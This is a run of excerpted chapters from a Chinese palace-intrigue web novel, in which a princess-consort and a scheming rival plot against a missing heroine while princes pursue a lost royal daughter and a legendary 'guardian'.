时不时又不忘朝周围里张望一眼,看似一副鬼鬼祟祟地模样正站在院内的鱼池边上,似是有些焦急地来回踱着方步。

一见陆天骄终于回来,便忙朝四下里探了探,见并无他人,便将那锭银子飞快地收了起来,继而将背后手里藏着的一封信拿了出来,朝其走了过去将它递到陆天骄的面前道:“陆小姐,您的信!”

陆天骄这才骤然回过神来,眨了眨眼睛,望着其疑惑问道:“是谁给我的信?”

瓜子脸婢女喜滋滋欢快地答道:“是奴婢方才外出回府时,在半路上一个十来岁的孩子上前来递到我手里,请我转交给小姐的。”

闻此,陆天骄稍加思索便似是已经将来信的人猜到了几分。便忙接过信来,并从袖子里掏出一锭银子来笑吟吟地将其推到了瓜子脸婢女的手中,握着她的手对其故作情真意切地道:“这只是一封家书而已,请你务必千万不要将这件事告诉其他任何人。我是因为太思念家中的父亲与哥哥,又不忍心拒绝王妃姐姐的盛情邀请,不想她因此而为难伤神,这才……”

岂料陆天骄话未说完,那瓜子脸婢女便似是已明白了她的意思,眼睛直勾勾地只盯視着手中的那锭银子,眉飞色舞地道:“陆小姐尽管放心,奴婢不会跟任何人提起这件事的。天色已经暗了,陆小姐还是进屋去慢慢看这封家书吧,奴婢告退了。”

一边说着,瓜子脸婢女便俯身行礼暗自在心里一边窃窃狂喜着,一边双手将今日里所收获到的第二份意外之财紧紧地握在手心里退了下去。

直到见其彻底消失在她的视线里,又朝着院子四周仔细地查看了一番,方才安心地疾步进屋去关起了门来,将信速速展开,借着明亮的烛火之光细细看了起来。

“果然是他!这个人看起来还真是不简单呢!左不过也就大半个月的时间,便就如此迅速地重振旗鼓,竟开起了一家城内数一数二的茶庄来...‘四海茶庄’,哼...真是好大的口气呀!”

陆天骄嘴角微微上扬咧出一抹轻笑来,一边喃喃自语着将信很快看完,正一手捏着信沉

默地坐着,忽然传来一阵叩门声“咚咚咚”

&nbs

第二百八十三章:关于母凭子贵的事

梅汐媛依旧懒懒地倚在舒适的软榻边,浑身散发出一股淡淡的梅花幽香,姿态优雅地轻抿了口手中的茶汤,似是极为不屑地道:“妹妹指的可是衣上云那个丫头在城南不慎跌落悬崖,至今都生死不明这件事吗?那个贱骨头,她最好是粉身碎骨死透了,否则看我怎么收拾她,竟敢借口延误至秦王府当差的日子,那可是抗旨之罪,是要诛灭九族的。”

闻此,陆天骄默了会儿,其实她想说的并非是这茬,而是直入正题将方才所得到的最新消息告诉她。

然一见梅汐媛果然什么尚都还不知道,既然是她自己先开的口,便也不介意顺着其话头先来个小插曲热热场。

于是,她故作一脸震惊地道:“那姐姐又是否可知,如今秦王府悬赏整个灵空大陆,寻找丢失了的医女的消息已是整个西秦国的大街小巷里无人不知,无人不晓了呢?而且,妹妹还在街上听人说,这可是秦王殿下亲自向皇上请旨寻的人呢!”

此话一出,只闻夜里一片寂静的韶华阁内,忽然一阵瓷器落地所发出的支离破碎的声音“咔嚓嚓”

继而,便响起梅汐媛异常惊诧的怒吼声,道:“什么?竟有此事?怎么从都未听过有人向本王妃通报过此事呢?”

梅汐媛一边纳闷着,一边瞪向了屋内所有人正低垂着的脸,深吸口气恶狠狠地扬声斥责道:“你们一个个都是木头做的吗?还是根本都是故意的,又或者本王妃平日里对你们都太好了,你们竟敢如此怠慢了这份差事。”

闻此,霎时间周围所有奴仆皆都战战兢兢,不约而同地纷纷跪倒在地一大片,那个跪在其最身旁的贴身婢女低垂着脸小心翼翼地怯声道:“王妃娘娘请息怒,这都是赵嬷嬷吩咐的,赵嬷嬷说王妃娘娘自打城隍庙里回来后便整日里郁郁寡欢,身体欠安着。便不让咱们将这件事透漏到娘娘的耳边,怕扰了娘娘的清净。”

然梅汐媛已然一发不可收拾的愤怒情绪却并未因此而缓和下来半分,反倒更火冒三丈地一把重重地拍在身旁的案几上,厉声道:“混账,难道你们都反了不成,不想让本王妃知道,还冠冕堂皇地说什么是为了本王妃好,那就眼看着让本王妃如此做一个令世人耻笑的傻子吗?”

这时,陆天骄见其已然怒火中烧了起来,心中甚是窃喜自己仅用了三言两语便解了其方才对自己的嘲讽之气,方才缓缓又开口劝其道:“姐姐也莫要太过于迁怒他们了,就依现在外面所传的局势来看,对姐姐来说,也未必算是坏事?”

“哦?妹妹此话怎讲?”梅汐媛不解地道。

陆天骄道:“如今人们多数都是传说那是因为殿下对姐姐鹣鲽情深,怜香惜玉,才会如此大张旗鼓地满

天下为了姐姐寻人。甚至还有人怀疑是不是姐姐已经有了好消息,急需要寻回最贴心的医女照料方才至此。所以眼下,正所谓‘流言止于智者’,只要姐姐把握住这个难得的机会,将传言变为事实,堵住悠悠众口,那才是上上之策啊!”

梅汐媛颇为认真地听完了这番似是很有道理的话,又含羞垂首看了看自己扁平的腹部,兀自定睛对其说道:“妹妹是说,要我在这段时间里真的怀上殿下的骨肉…这谈何容易!”

对于轩辕翰对自己非一般的冷漠,梅汐媛显然至今都无计可施,这个男人,总是让她患得患失,远远比她想象中的要难对付地多,她甚至很多时候都有些气馁。

然陆天骄却故作一副神秘地说:“同在一个屋檐下,抬头不见低头见,机会总归是有的,就看姐姐能不能把握住了。”

“看样子,难不成…妹妹有办法?如此,愿闻妹妹其详。若是真的能让姐姐为殿下诞下个一男半女,自古都是母凭子贵,相信到时候姐姐一定能够劝动殿下收妹妹做侧妃,如了妹妹的愿的,如何?”梅汐媛终于变得安静了下来,迫切地信誓旦旦道。

这时,陆天骄反倒不紧不慢地瞥向了室内尚还怯怯跪着的一地奴婢,梅汐媛见了忙厉声道:“你们都起来吧!看在陆小姐的份上,今日本王妃暂且饶了你们。倘若日后里再犯,定不轻饶。”

“谢王妃娘娘开恩,奴婢们谢陆小姐。”

明明是陆天骄先挑起的事端,如今却是收获了这许多下人的人心,其心叵测,可见一斑。

待众人朝其致谢起身后,陆天骄却顿时一副紧张兮兮地样子对梅汐媛说:“姐姐,关于母凭子贵的事,这个我们慢慢再从长计议,有道是‘留着青山在,不怕没柴烧’。不过,眼下有一件更颇为紧急的事,尤为棘手,不得不抓紧处理。”

“哦?是何事?”梅汐媛惊诧地看着陆天骄的眼睛道。

陆天骄顿了顿,深吸口气说道:“姐姐,方才我见到殿下刚回到府里又匆匆忙忙出门了?姐姐可知道发生了何事?”

“殿下回来过?何时回来的?”作为秦王府女主人的梅汐媛竟根本都尚还不知轩辕翰曾经回来过。

陆天骄叹了口气,无奈地道:“姐姐,你要多花些心思在殿下的身上才是

第二百八十四章:听天由命吧!

梅汐媛承认,她是恨极了为何这个世上会存在着让自己如此为难的一个人?

可真的要让她死,她还真的下不了如此狠绝的心。毕竟,那可是嫡母后留在这个世上唯一的血脉,她只是想要她永远不要威胁到自己所拥有的一切便可。

这时,陆天骄闻声惊讶地瞪着她的脸,不解道:“怎么,你不想她死?”

“我……”梅汐媛一脸难色,吞吞吐吐道。

陆天骄忿忿道:“难道你即便此时,都还搞不清楚状况吗?只要那个贱蹄子一日不死,殿下便永远都不会正眼瞧你一眼,到时候,你又如何母凭子贵?就算你放下公主的自尊,脱光了贴上去,殿下也绝不会碰你一根指头。你心里不会不清楚,殿下既然有能以秦王府名义悬赏在整个灵空大陆里寻她的决定,便证明他心里是有多在乎那个贱人。你是不是非要等到她母凭子贵的那一天,方才彻底清醒过来!”

这番被如此挑明了的话一出,算是终于彻底触动了梅汐媛那根敏感的神经和自尊,点燃了压抑在其心间的所有怒火,亦粉碎了她心底最后那一丝丝理智。

只见她一边听,一边蹙眉紧紧地咬起牙根来,眼里噙满的尽是熊熊燃烧着的怒火,继而被隐藏在衣袖里牢牢握起的两只绣拳霎时间猛地抬起一把将案几上的所有器皿大力地掀翻在地,噼里啪啦碎了一地,兀自声嘶力竭地扬声怒吼道:“我不要,我不要,我不要……”

顿时,韶华阁里的婢女们里里外外全都吓得跪了一地。

见此,陆天骄方才长长地舒了口气,嘴角窃窃地露出一抹邪笑。

默了许久,梅汐媛从未如此冷厉渗人的一个眼神忽然斜向陆天骄的脸,沉声问了句:“你打算要怎么做?”

陆天骄哼笑一声,漫不经心地道:“哼...妹妹心中自是已有了打算,姐姐不必过虑。作为你我之间的交易,妹妹自会想尽办法替姐姐分忧,除去一切绊脚石的。我就不信,我陆天骄,斗不过她一个恶名远扬的废柴丑女,姐姐只管等着看好戏吧!这次,妹妹定让她万劫不复,叫天天不应,叫地地不灵,死无葬身之地!”

陆天骄走后,梅汐媛依旧一动不动痴痴地愣坐着。下人们想要收拾这一地狼籍,也都被她一一全部喝令了下去。

不知为什么,一丝丝哀伤夹杂着恐惧从她的心里渐渐渗了出来,又一寸寸地流经她的全身,似是在慢慢地吞噬着她的力量。

忽然间,她觉得整个人都好累好累,似是从未都这般累过,于是想要起身去躺一会儿,这才发现自己根本就站不住,挣扎了许久,起身来只踉跄了不过两步,便重重地跌坐在了地上。

于是,她不禁顺势用双手抱着头伏在腿上,紧咬

着那张温软的红唇,只觉得此刻眼泪直在眼眶里打转,而最终还是被自己硬给逼了回去。

正在埋头默想着,突然听到头顶一个尤为关切和吃惊的声音响起说:“王妃娘娘这是怎么了?怎么还在发抖呢?”

然她却并未抬头去看,只觉那人又蹲身了下来将自己搀扶起,而自己只如同一缕游魂般轻飘飘又不知不觉中便被扶到了软榻上坐起。

又静了一小会儿,只觉得周围到处乱哄哄一片,夹杂着瓷器碎片互相碰撞的声音,还有教训谩骂的声音混杂在一起乱作一团……

稍时,扶她起身的人再次朝她走了回来,似是忽觉得有些不对,便忙伸手将她的头微微抬起,顿时脸上一惊,大声问道:“王妃娘娘怎么把嘴唇给咬出血了?这到底是怎么了?”

于是,那人忙掏出帕子来坐在其身旁小心翼翼地一边替其擦拭,一边紧张担心地都已哽咽了起来,道:“王妃娘娘你倒是说话呀,一直这么憋着,是会把身子给憋坏的!”

终于,梅汐媛渐渐看清了眼前一脸忧色的人,缓缓回过了神来,却是心中滋味甚是复杂,盯了她一会儿,继而猛地抬手抱住了她的脖子,趴在其肩上失声痛哭了起来。

那人心疼地轻抚着她的背说:“哭吧,哭吧,哭出来就好了!”

不知过了多久,室内的闲杂人等皆都陆陆续续地退了下去。

梅汐媛似是也已平复了些许下来,哽咽着道:“赵嬷嬷,她没有死,她竟还活着,她真的还活着!”

“王妃是说三殿下说的那个丫头?”赵嬷嬷闻声,心里忽然咯噔一下,似是都不敢相信自己的耳朵。

梅汐媛终于缓缓松开了手,吸了吸鼻子,兀自一边拭泪一边端坐起身来点了点头道:“陆天骄说她就在桃花店村,秦王殿下...已经赶去寻了。”

见此,赵嬷嬷先是愣了一下,又默了会儿,问道:“那王妃打算怎么办?如此一来,是不是还要和陆小姐继续合作?还是...将这消息派人通知给三殿下,让他来定夺?”

陆天骄可并不是盏省油的灯,好不容易主仆俩抓住了其把柄,打算借此将她彻底打发掉,可就在这节骨眼上,怎么死人又复活了?

然就前不久,梅汐媛在城南城隍庙里和梅志煊的一番差点儿撕破脸的争执至今都还历历在目。此时,赵嬷嬷不知梅汐媛现在究竟会如何选择。

&n

第二百八十五章:不如,一起合作吧!

侍卫一进门便看到了吹落在地的两张字,忙上前去将其拾起,近身到梅志煊的身旁道:“殿下至今还未参透这几句话吗?”

闻声,梅志煊方才回过神来,缓缓踱步到书案边坐下,对着面前案上摆着的两张字,默了会儿,只冷声问道:“父皇那边还未来信吗?”

侍卫这才急急将怀里揣着的一封密信拿了出来,双手恭敬奉上,道:“这是刚刚收到的消息,殿下请过目!”

梅志煊将信接过展开,快速地浏览了一遍,才刚刚放下,那侍卫便一脸欣喜地朝其拱手恭贺道:“恭喜殿下,贺喜殿下,殿下终于要大婚了!”

不想,梅志煊闻此脸上却并无一丝喜色与动容,侍卫即刻变作一脸尴尬地收了声。

俩人一起沉默了会儿,梅志煊拿起信来将其置于烛火上,即刻化为了灰烬。

见此,侍卫似是忽然记起了什么,忙开口道:“对了,殿下让属下查的事,属下已经……”

岂料话刚开口,梅志煊顿时扬起一只手来示意其收声,继而无厘头地扬声说了句:“出来吧!不要再躲了!”

即刻,门口屋檐下忽然似是从天而降一袭紫红色长袍,单手附后,三千墨发用一只精致的白玉簪半束着的挺拔背影来。

待其缓缓转过身来时,方见其鬓间两缕微带蜷曲的青丝洋洋洒洒地垂下,那张俊朗的脸上竟长了一对细长的桃花眼,全身尽显一副妖艳和恣意随性之姿态。

见此,侍卫慌忙抽出了腰间明晃晃的佩剑,将其横在自己面前,作应战之势准备保护身后的主人。

然梅志煊却在其身后轻描淡写地嘴角里扬出一抹浅笑,道:“你退下吧,他若想出手,就是几十个你也拦不住。”

“可是,殿下……”侍卫似是还想争辩些什么。

梅志煊却认真地坚持道:“退下吧!”

侍卫终是无奈地收起剑来大步退了出去。

侍卫离去,梅志煊便一边起身来朝着一旁的茶座上踱步过去落座下,一边头也不抬地对其轻蔑道:“南安太子,既然来了,就进来坐下一起喝杯茶歇歇吧,连着好几晚趴人屋顶的滋味想必也一定不好受吧!”

闻此,易君浩挑了挑眉,倒是步履极为坦然地一步跨过门槛来。

迈步到屋内,驻足玉立着环视了周围一圈,见冷冷清清,唯有烛火摇曳,香炉里散发出的香烟袅袅升起着,眼睛不禁只在那琉璃瓶里正起舞变色的神蝶上多滞留了稍时,继而便亦撩起袍角来随意地落座在茶座的客位上,梅志煊的对面道:“三皇子早就发现了?”

梅志煊微微含笑,一边煮水泡茶,一边道:“怎么,太子殿下也是前来恭贺本皇子大婚在即的吗?”

易君浩抽了抽嘴角,露出

一抹不屑的笑,即是明人,亦无需暗语,便兀自直奔主题道:“原来你就是东宁国三皇子梅志煊,你为何要将丫头从城西衣府拐带到万娇阁里?对她有何居心?”

梅志煊闻此,却并未直接回答他这个疑问,而且漫不经心地一边继续手里的动作,一边反倒谈起他曾经的另一问题来:“太子殿下不是很想知道本皇子为何来西秦吗?”

易君浩注视着他的眼睛,想到方才那侍卫恭维的话及目前各国的局势,稍作思量,顿时露出一脸不怀好意的轻蔑笑容来挑衅其道:“是因为西秦公主?没想到温润如玉又英勇善战的三皇子殿下也终究难逃脱一场政治联姻啊!不过,看来东宁对西秦国里所存在的那股神秘力量颇为感兴趣啊!为了它,竟让尊贵无比的公主和皇子先后皆都为此而双双献身,实在是令人佩服,佩服!”

岂料梅志煊却一点儿也不为其言语挑衅所动容,只哼笑一声,一边将刚刚冲泡好的茶汤向易君浩面前递了过去,一边幽幽道:“没错,本皇子的确是因为公主之事才留在了西秦,但却不是为了那西秦公主,而是为了我东宁国一出生便遗失在西秦已有17年之多的嫡公主。”

闻此,易君浩即刻间朝其瞪大了那双如十里春风般迷人的桃花眼,惊声道:“东宁嫡公主,难道不是传闻中深受东宁国君尤为疼爱,如今已身为西秦秦王妃的永乐公主吗?”

梅志煊依旧浅浅笑着,却不再说话,只兀自一口接一口地轻抿起手中的茶汤来。

易君浩亦一边品茗,一边望着俩人面前那壶不停翻滚着的热水入神地默默独自想了会儿,原来那永乐公主不是东宁国嫡皇后所生,这便是说,东宁国如今的皇后乃是一继后。17年,17岁,这怎么可能呢?

忽然,他的心里有个让他惊诧不止的念想浮了出来,继而猛地抬起头来甚觉不可思议地道:“你的意思是说,你怀疑丫头便是你们东宁国遗失在西秦国17年的嫡公主?”

“当年,嫡母后正值有孕在身临产在即,不知为何,突然有一日里非要坚持来西秦国,任谁都劝她不下。然不想,那一别竟成了生死永别!有朝一日,若是让本皇子查到是谁对嫡母后下的毒手,本皇子一定叫她生不如死!”梅志煊握紧双拳置于膝头,信誓旦旦地忿忿道。

&n

第二百八十六章:本是无忧少年郎

易君浩跟随着梅志煊的脚步走到书案边,顺着他手指方向,伸出一双大且骨节分明又细长的手来将案上铺着的两张字轻轻拿起来靠近烛火颇为认真的一一默念了一遍。

“真龙出海,灵空一统,凤凰涅槃,浴火重生,生既是死,死亦是生。”

“小店桃花红粉姿,陌头杨柳绿烟丝。”

继而缓缓抬眼看向梅志煊的脸,故作一脸疑惑不解地问:“这是?”

“太子有所不知,这是本皇子从一位看似高深莫测的青袍道长处所听来的,觉得话里似是大有玄机,然却至今都未能将其参透。不知太子殿下对此可有何见解?”梅志煊单手附后着立在其身旁苦道。

易君浩闻此,心中顿时一愣,兀自又将目光再次收回落到其手里那一纸苍劲有力的字迹上,表面看似仍在琢磨,实则心里却在暗暗定夺着:“我到底该不该将城隍庙里的事告诉他呢?素闻东宁国富甲一方,兵强马壮,是目前灵空大陆四国里最具实力的一个。而那东宁老国君已然大势已去,这梅志煊年少有为,风度翩翩,俨然比那传说中奢靡又荒淫无度的二皇子更适合继位做一位明君。如今,他也要大婚了,如若真如老和尚对此话所解,该不会他与那西秦公主便是那能有统一灵空大陆四国之强大力量的龙与凤吧!?”

正在思量着,一旁的梅志煊见其半晌都不说话,便在其耳边轻唤了两声:“太子殿下,太子殿下……”

易君浩蓦然抬眼朝其看去,只见梅志煊望了眼窗外,继而淡淡对其笑着道:“夜已深了,不如太子殿下今日先就此安歇吧。这个我们日后再慢慢讨论亦不迟,只是寻人的事,须得太子殿下务必放在心上抓紧了才是,可好?”

“也好!”易君浩想了想说道,顺势将手里的字放回到书案上。

这时,梅志煊扬声唤来了门外的守卫:“来人,带太子殿下去歇息,好生伺候着!”

“是”推门而入的两名身着一袭黑衣劲装,墨发全束,腰间佩剑的侍卫,其中一名随易君浩一起踱步了出去。

剩下的另一梅志煊的近身侍卫则快步过去将门轻掩上,尔后又折回到了其身旁沉声问道:“殿下,您真的决定要与那南安太子合作吗?”

烛火下,只见梅志煊的脸上顿时半点笑容都不挂,他并未回答侍卫心里的疑惑,只是双手负后着渐渐半眯起那双深邃的炯目来看着易君浩放回到书案上的字,露出一脸的深不可测……

是夜。

经过一番马不停蹄的奔波劳碌,龙恩也终于风尘仆仆地一路向北穿越了西秦与南安的边境,到达了位于西秦最南的边境地带处,西秦国乃至整个灵空大陆最有名的学府——西秦学院。

西秦学院坐北朝

南,乃一傍山而建的山林胜地,书院大门是一座双层飞檐单门,门上高悬着气势磅礴的“西秦书院”四字横额。

学院建筑皆为清一色的白墙青瓦,门前古树垂荫,溪水轻吟。整座书院显得幽静无比,亦颇为庄严肃穆,苍翠欲滴的参天古树间掩映着一座座历经沧桑见证的楼阁庭院。

而在西秦学院侧门的东南方,左翼山下有一凉亭,其周围崖石峻峭,涧水湍急。

此时,龙恩便正是独自坐在其里面的石凳上一边闭目养神,一边耐心等候着一个很重要的人的出现。

一阵温柔的风吹过,恍恍惚惚间,一缕思念浮起,遂自己过去这半生中的所有颠沛流离,血雨腥风与辛酸苦楚一幕幕亦不禁浮上了心头。若不是此时这里如此安静,他似是差点儿都快要将此忘记了,可又怎么会真的忘记。

原来,自己曾经也是一个虽出生于平凡普通甚至有些拮据度日的山间穷书生家,倒也过的是无忧无虑,不乏是个有爹娘百般疼爱的少年郎。

儿时的记忆里,爹娘之间亦永远都是那般地相敬如宾,举案齐眉,起早共描眉,恩爱两不疑,似是从来都未红过脸,大声说过话,一家人颇为幸福与满足地生活在一起。

所谓“学优而登仕,摄职从政”,其后来所有一切的不幸,都源于爹爹的一场科举考试。

因为没有重金送礼给考官,便被人顶替了名额,爹爹一怒之下找那昏官理论,岂料自己却又多挨了几十板子,被人抬着送回到家中。

见此,平日里大门不出二门不迈的年轻娇美娘亲亦是气不过,复去替爹爹讨个公道,岂料却就此再也没能回来,音信全无。

待到爹爹身上的伤稍微好了些,刚能下床来,便一心执意要去找娘亲。却是数日后,竟被人发现曝尸在荒野之中,险剩下一堆白骨。

可怜就此本甜蜜幸福的一家人,独剩下一个仅仅七八岁的孩子,从此无依无靠,成了一个沿街乞讨,艰难度日,有今日无明日的小乞丐。

直到有一天,有一位看起来似是颇有来头的陌生男子于街角发现了在冰天雪地里正瑟瑟发抖的他。便带他去了他从未见过的豪华酒楼里,给了他从未有过的好吃好喝。

不仅如此,还悉心安派人教他读书,习字,练武……

那一刻,他竟恍然感觉自己似是一缕即将奔赴向黄泉之路的游魂一般,一定是他快要死掉了,才会有如此幸福地极不真实的感觉。

第二百八十七章:怕是苦肉计

寿伯从身上掏出一封信来递到了龙恩面前,道:“少主人先看看这个吧,这是宫里交待老奴给少主人特意备下的。”

“这是什么?”龙恩一边纳闷着将寿伯手里的信接过很快拆了开来,只见那张纸上竟是一恍若天仙般的妙龄女子画像。

寿伯小心谨慎地朝四处里打量了下,压低声音严肃地道:“这是西秦学院陆贤刚刚修复完成的西秦守护者画像,少主人应该听说过,‘得此力量者得天下’。所以,当下少主人最打紧的事便是应竭力尽快将这女子给找出来据为己有,占了这先机,好使其到时候能助少主人您一臂之力……”

“西秦守护者...真的没死?她竟是一个女子?”龙恩将目光聚集落在手里的女子画像上一边认真端详着,一边听了寿伯的话,一时间忽然猛地抬起头来朝其瞪大了眼睛惊呆了。

寿伯默默地点了点头,兀自又开口继续道:“如今,被修复好的守护者画像已被送到了宫里,皇上已经命人在各处全力搜寻其下落,就连秦王也已经开始行动了。所以,少主人要比他们更快将其找出来才是啊!如果守护者真的先落到了他们手里,怕是我们就很难对其动手了!”

闻此,俩人一起陷入了各自沉沉的思绪当中。

许久后,龙恩方才缓缓回过神来将画像折叠起收好,便兀自起身来向其道别:“既然如此,我这就回去立刻派人四处去打探,一定会在他们之前先拥有守护者力量的,寿伯保重,告辞!”

然刚迈开没两步,又驻足停了下来转身对其浅笑着说道:“对了,桌上放着的一坛甚好的女儿红,是酒坊最新制的佳酿珍品,寿伯尝尝吧!”

话一说完,便头再也不回的大步下了山去。

寿伯起身来走到凉亭边上,目送望着其渐去渐远,最后终于慢慢消失在一片沉沉夜色中的高大背影,深深地叹了口气,又摇了摇头。便回去石桌边抱起那坛酒与匣子来,又步履蹒跚地朝着西秦学院里回了去。

刚一摸黑进入到学院里自己的房内,将房门从里面插上,正准备收拾收拾便就歇下了。

“咚咚咚”忽然一阵叩门声响起。

他一边问了句“谁啊?”,一边疾步过去开门。

这时,门外传来一温文尔雅的男子声音,道:“请问寿伯可是歇下了?”

打开门一看,忙对着门外的来人惊声道:“陆院长,这么晚了,您...您怎么到咱们下人的屋里来了?快快快,快请进屋坐!”

陆贤一边被请进到屋内坐下,一边故作唉声叹气的试探道:“唉,这几日里,天麟和天骄这俩个孩子都不在学院里,老夫总是不放心,便就睡不着。方才起身来在各处随便走了走,见只有你屋内的灯

还亮着,便过来瞧瞧你。平日里学院诸事繁多,也从未顾得上对你关切半句。不知这几年,寿伯在学院里的一切可都还习惯?若是有什么需要,尽管对老夫说便是,老夫一定竭尽所能。”

寿伯一边捧着碗热水过来恭敬地朝陆贤双手奉上,一边立在其身旁含笑着道:“陆院长平日里那么忙,没想到还关心我们这些下人的生活琐事,真是太难得了。老奴在这里过的很好,衣食住行皆都无忧,多谢陆院长关怀。”

见着寿伯腿脚不好,又还一直站着说话,陆贤忙朝其劝道:“这里又没有外人,寿伯腿脚不好,你坐下说话便是,无须多礼。”

闻此,寿伯倒也没有再推辞,一边在其身旁坐下,一边向其致谢:“老奴多谢陆院长体恤。”

陆贤笑了笑,忽然问道:“对了,不知寿伯来西秦学院已有多久了?”

岂料寿伯脱口即出:“至今已经有八个年头了。”

闻此,陆贤嗖的一下,顿时看向了寿伯那张布满伪善与和蔼的脸,故作一副吃惊地扬声道:“已经八年了?!原来寿伯可真谓是学院的老人儿了啊,这八年里,真是辛苦你了!”

“应该的,应该的。八年前,若不是小姐好心将老奴在半路中带回到学院里,还安排了个轻松的差事,老奴怕是早就不得久活于人世了,又岂会有今日!所以,这辈子老奴也不会离开学院的,学院便是老奴唯一的家。”寿伯的演技亦确实不错,话语诚恳地不得不令人信服。

陆贤一边含笑暗自打量着他,忽然目光落到了其腿上,看来看去,不知道为何,总是感觉哪里有些不对劲,便问道:“对了,寿伯的腿是怎么回事呢?”

闻此,寿伯忙附手上去在膝盖处一边摩挲,一边叹了口气苦道:“唉,年轻的时候干活做工,不小心被重物给撞了,家里又穷没钱看大夫,便随便找了个人给瞧了瞧,谁想越治却越差,后来也就放弃了。”

陆贤忙道:“老夫也略懂医术,不妨让老夫帮你看看,如何?”

闻此,寿伯倒似是一点儿也不心虚的样子,坦然说道:“如此,那就有劳院长了!只是时隔多年,应该是没救了!”

“有没有救,都得先看看再说,若是还能救,岂不更好。到时候,寿伯还能好好走走看看这大好河山呢,又何必将自己的一辈子圈在这里,整日与这些花花草草绑在一起白白消磨这好时光呢!

第二百八十八章:岩间九龙腾四海

冰冷的漫漫长夜,天幕的一角,一轮清冷固执的残月挣扎着总不舍得落去,贪婪的高高悬于云霞翠轩窗外的枯枝头上。

窗内,伊人掘强地坚守着自己的重重心事,心里碎碎念所期盼着那个生命里似乎注定可望而不可及的人。

这一切,到底是世事弄人,还是庸人自扰之,如今都早已模糊了概念,只知道自己早已深陷其中,不能自拔。

时光荏苒,又有谁知道这已经是第多少个夜里,伊人如此彻夜难眠地盼望着新一天黎明的曙光能快点儿到来。

而终于,朝舒夜卷,在东方的天边处渐渐露出一抹鱼肚白的颜色来,继而整片天空很快便亦跟着现出那如同少女绯红的脸颊一般的颜色来,直至大亮,鸟儿开始放声歌唱,勤劳的人们亦开始了崭新一天的劳作与生活。

此时,秦王府里,赵嬷嬷脚步匆匆忙忙地朝着韶华阁梅汐媛的寝室方向踱步而来。

人尚还未至,催促的声音便已响起:“还未伺候王妃娘娘起来梳妆吗?”

守夜的婢女缓缓睁开朦朦胧胧的睡眼,揉了揉眼睛,方才懒懒地回道:“回嬷嬷的话,王妃娘娘尚还未传召梳洗!”

闻此,赵嬷嬷顿时看似一脸着急的样子,在门口来回踱起方步来,偶尔还叹息着几声。

然只不过稍时,似是真的等不及的样子,便正欲朝里面开口说话,岂料里面竟传出柔软的一声道:“是赵嬷嬷吗?可是有什么重要的事情要禀?都进来伺候吧!”

于是,门前立马便现出了一群手里捧着各式梳洗用器具的婢女,依次排着整齐的队伍进到了寝室里去。

梅汐媛这才被伺候着从榻上下来,披着一头乌亮的青丝三千,挪身坐到了一面精致的菱花镜前,被这屋内霎时现出的许多如花儿一般娇嫩的女子伺候梳洗打扮起来。

这时,梅汐媛方才一边在镜子里端详打量自己,一边问道:“今儿一大早的,赵嬷嬷怎么这么急的来找本王妃?究竟所为何事?”

赵嬷嬷上前一边替其筚头发,一边神神秘秘地开口道:“王妃娘娘,今儿早起,老奴看到陆小姐天刚一亮,便鬼鬼祟祟地溜出了秦王府去……”

未及其将话讲完,梅汐媛却似一点儿也不好奇地带了很多轻蔑地口气道:“她是殿下的师妹,亦是秦王府的常客,自是一向都可以自由出入王府,这有什么好奇的。许是,她又贪嘴街上哪家的粗食了吧!唉,由她去吧,看来本王妃陪嫁来的东宁御厨,竟还比不上西秦国街上的那些难以下咽的小店,她也真不愧是贱骨头一个!”

赵嬷嬷道:“王妃娘娘有所不知,老奴见她鬼鬼祟祟的,便命人悄悄在她后面跟了去,刚才收到消息回来说,陆小姐去了…四海茶

庄!”

“什么?她真的去了那里!”闻此,梅汐媛顿时抬起眼来一个惊声道,刚刚精心挑选好捏在手里的一支玉兰簪子砰的一声从手中滑落下来。

“那…接下来,我们该怎么办?探消息的人回来说,四海茶庄只限有身份地位的人进入,一般人根本无法靠近。”赵嬷嬷一边替其将滑落的玉兰簪子捡起插上发髻,一边一脸难色地道。

梳妆终于完成,梅汐媛一边检查妆容,一边好奇地问:“看来这四海茶庄的派头果然不小嘛,究竟是何来头,可有查到了些什么?”

赵嬷嬷这才想起了一大早所收到的信息,便忙将身上的一封信掏了出来递上,道:“王妃娘娘请过目,这是昨儿个您一交代,老奴便安排人去查的结果。仅短短不过大半月的时间,便能使一即将面临关门的酒楼起死回生摇身成为整个京城里的一号茶庄,想必这茶庄如今的正主一定不简单。”

梅汐媛将信看完,心中颇为震惊,没想到区区北烈国一个小小的野蛮商人,竟也能有如此本事,倒是完全颠覆了她对北烈乃蛮夷之邦,不懂风趣的一贯认知。

听着耳旁赵嬷嬷的话,她不禁挑了挑眉,兀自又渐渐半眯起那双明眸来,一脸悠长地对其吩咐道:“赵嬷嬷,备车,本王妃忽然间对这个四海茶庄颇感兴趣,想要亲自去体验体验这个号称京城的一号茶庄,看它究竟有何奇妙之处!”

“是,老奴这就下去准备。”

……

话说伊人陆天骄自从昨日说服了梅汐媛,这次势必一定要取了衣上云的性命后,便因此而彻夜未眠。

辗转反侧地苦思冥想了一整夜,最后她终于想到了一个可以帮自己做这件大事的最佳人选。

于是,天刚一亮,她便迫不及待地出门上了一辆马车。

果然,对于四海茶庄的大名已是无人不知,无人不晓,绕了不知多少条街,约摸着有一个多时辰车程的样子,车子终于停在了城中商家店铺林立,最繁华的一条街道上。

下车抬起头来一看,一座看起来让人感觉甚是素雅,清心的两层铺面便顿时现在了其面前。

只见临街边的门楣上悬着一长方形匾额,上面雕刻着黑底镏金的“四海茶庄”四个颇具气势的大字,庄重堂皇。底下两侧门面上的茶联书的是“岩间九龙腾四海,茶中圣品味一流。”

但当她惊诧又好奇地默默走上石阶,一跨过高高的门坎进入到店铺内后,顿时所有嘈杂浮躁竟都被关到了门外,静雅至

第二百八十九章:终于等到你

三两口精致的菜肴入腹,拓跋泽随即举起酒盏来,深情款款道:“在下也算是终于有幸等到陆小姐肯赏脸光顾寒舍了,其实,陆小姐有所不知,自打从在城南那晚第一次与小姐相遇之后,在下便已期盼着有一日能与小姐共进一餐了。岂料后来……”

拓跋泽说着说着停了下来,深叹了口气,又继续道:“在下还以为,此生再也见不到小姐了呢!”

话音刚落,陆天骄拭了拭嘴角,继而扬起微笑来,对其赞叹说道:“公子这何止是寒舍啊,说它简直就是人间天堂,琼楼玉宇亦不为过。想不到距离你我上次一别短短不过大半月的时间,公子竟便撑起这京城里无人不知的一号茶庄来,这可是史无前例的呀!”

